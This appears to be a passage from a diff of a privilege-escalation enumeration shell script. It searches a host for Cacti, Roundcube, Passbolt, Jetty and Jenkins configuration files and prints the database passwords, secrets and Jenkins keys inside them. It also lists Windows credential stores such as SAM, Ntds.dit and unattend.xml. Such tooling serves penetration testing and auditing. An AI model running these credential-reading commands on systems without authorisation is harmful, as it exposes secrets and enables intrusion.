+ if ! [ "`echo \"$PSTORAGE_CACTI\" | grep -E \"cacti$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cacti"; fi; fi; printf "%s" "$PSTORAGE_CACTI" | grep -E "cacti$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cacti$,${SED_RED},"; find "$f" -name "config.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "config.php.dist" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php.dist,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "installer.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,installer.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "check_all_pages" | while read ff; do ls -ld "$ff" | sed -${E} "s,check_all_pages,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ROUNDCUBE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Roundcube Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ROUNDCUBE\" | grep -E \"roundcube$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "roundcube"; fi; fi; printf "%s" "$PSTORAGE_ROUNDCUBE" | grep -E "roundcube$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,roundcube$,${SED_RED},"; find "$f" -name "config.inc.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.inc.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "config\[" | sed -${E} "s,db_dsnw,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PASSBOLT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Passbolt Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PASSBOLT\" | grep -E \"passbolt\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "passbolt.php"; fi; fi; printf "%s" "$PSTORAGE_PASSBOLT" | grep -E "passbolt\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,passbolt\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "host|port|username|password|database" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_JETTY" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Jetty Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_JETTY\" | grep -E \"jetty-realm\.properties$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "jetty-realm.properties"; fi; fi; printf "%s" "$PSTORAGE_JETTY" | grep -E "jetty-realm\.properties$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,jetty-realm\.properties$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_JENKINS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Jenkins Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"master\.key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "master.key"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "master\.key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,master\.key$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"hudson\.util\.Secret$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hudson.util.Secret"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "hudson\.util\.Secret$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hudson\.util\.Secret$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"credentials\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.xml"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "credentials\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"config\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.xml"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "config\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,config\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "secret.*|password.*" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"jenkins$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*jenkins"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "jenkins$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,jenkins$,${SED_RED},"; find "$f" -name "build.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,build.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "secret.*|password.*" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+
+
+if [ "$PSTORAGE_INTERESTING_LOGS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Interesting logs Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access\.log$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "error.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,error\.log$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WINDOWS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Windows Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"\.rdg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.rdg"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "\.rdg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"AppEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AppEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"autounattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autounattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "autounattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autounattend\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ConsoleHost_history.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreeSSHDservice.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"NetSetup\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "NetSetup.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"Ntds\.dit$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Ntds.dit"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "Ntds\.dit$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Ntds\.dit$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"protecteduserkey\.bin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "protecteduserkey.bin"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "protecteduserkey\.bin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,protecteduserkey\.bin$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"RDCMan\.settings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "RDCMan.settings"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "RDCMan\.settings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,RDCMan\.settings$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SAM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SAM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SAM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SAM$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SYSTEM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SYSTEM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SYSTEM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SYSTEM$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SecEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SecEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SecEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SecEvent\.Evt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"appcmd\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "appcmd.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "appcmd\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,appcmd\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"bash\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bash.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "bash\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bash\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"datasources\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "datasources.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "datasources\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,datasources\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"default\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "default.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "default\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,default\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"drives\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "drives.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "drives\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,drives\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"groups\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "groups.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "groups\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,groups\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https-xampp\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https-xampp.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https-xampp\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https-xampp\.conf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https\.conf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"iis6\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "iis6.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "iis6\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,iis6\.log$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"index\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "index.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "index\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,index\.dat$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.cnf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.cnf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ntuser\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ntuser.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ntuser\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ntuser\.dat$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"pagefile\.sys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pagefile.sys"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "pagefile\.sys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pagefile\.sys$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"printers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "printers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "printers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,printers\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scclient\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scclient.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scclient\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scclient\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scheduledtasks\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scheduledtasks.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scheduledtasks\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scheduledtasks\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"security\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "security.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "security\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,security\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"server\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "server.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "server\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,server\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo\.bak$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo.bak"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo\.bak$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo\.bak$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sitemanager\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sitemanager.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sitemanager\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sitemanager\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"system\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "system\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattended\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattended.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"web.*\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "web*.config"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wsl\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wsl.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"plum\.sqlite$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "plum.sqlite"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "plum\.sqlite$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,plum\.sqlite$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_OTHER_INTERESTING" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Other Interesting Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.bashrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bashrc"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.bashrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bashrc$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.google_authenticator$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".google_authenticator"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.google_authenticator$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.google_authenticator$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"hosts\.equiv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hosts.equiv"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "hosts\.equiv$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hosts\.equiv$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.lesshst$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".lesshst"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.lesshst$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.lesshst$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.plan$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".plan"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.plan$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.plan$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.profile$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".profile"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.profile$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.profile$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.recently-used\.xbel$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".recently-used.xbel"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.recently-used\.xbel$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.recently-used\.xbel$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.rhosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".rhosts"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.rhosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rhosts$,${SED_RED},"; done; echo "";
